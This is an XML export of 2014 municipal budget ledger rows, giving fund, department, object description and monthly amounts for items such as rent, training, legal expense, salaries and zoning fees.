<row _id="4488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1400.0</total></row>
<row _id="4489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>566730.0</object><object_description>REC / PARKS COMMISSION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2783.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2783.0</total></row>
<row _id="4490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522000.0</object><object_description>UNRECOVERED INSURANCE LOSS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>282000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>282000.0</total></row>
<row _id="4491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125000.0</total></row>
<row _id="4492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="4493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>438832.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>438832.0</total></row>
<row _id="4494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>147399.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>147399.0</total></row>
<row _id="4495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="4496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401620.0</object><object_description>LIBRARY PARKING LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="4497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401150.0</object><object_description>MALL ASSESSMENT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1134586.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1134586.0</total></row>
<row _id="4498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="4499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401450.0</object><object_description>POLICE SERVICES/FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-7079.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-7079.0</total></row>
<row _id="4500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9500.0</total></row>
<row _id="4501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4193.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4193.0</total></row>
<row _id="4502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>74359.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>74359.0</total></row>
<row _id="4503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="4504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14010.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14010.0</total></row>
<row _id="4505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="4506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7718.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7718.0</total></row>
<row _id="4507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="4508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13500.0</total></row>
<row _id="4509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1136.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1136.0</total></row>
<row _id="4510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15283.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15283.0</total></row>
<row _id="4511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26525.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>26525.0</total></row>
<row _id="4512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16476.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16476.0</total></row>
<row _id="4513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>38000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38000.0</total></row>
<row _id="4514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>56000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>56000.0</total></row>
<row _id="4515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18222.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18222.0</total></row>
<row _id="4516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>415381.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>415381.0</total></row>
<row _id="4517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="4518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="4519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>557.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>557.0</total></row>
<row _id="4520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="4521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>443039.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>443039.0</total></row>
<row _id="4522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400870.0</object><object_description>LEASE RENTAL REVENUE-DOWNTOWN</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-350188.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-350188.0</total></row>
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<row _id="4554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="4565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2500.0</total></row>
<row _id="4566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401470.0</object><object_description>DEVELOPMENT AGREEMENTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="4567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401550.0</object><object_description>MAP/CODE/SPECIFICATIONS SALES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1197.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1197.0</total></row>
<row _id="4568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401560.0</object><object_description>ZONING APPR/VARIANCE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-924566.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-924566.0</total></row>
<row _id="4569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1851.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1851.0</total></row>
<row _id="4570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>95000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>95000.0</total></row>
<row _id="4571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5727.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5727.0</total></row>
<row _id="4572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
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<row _id="4574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1127499.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1127499.0</total></row>
<row _id="4575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
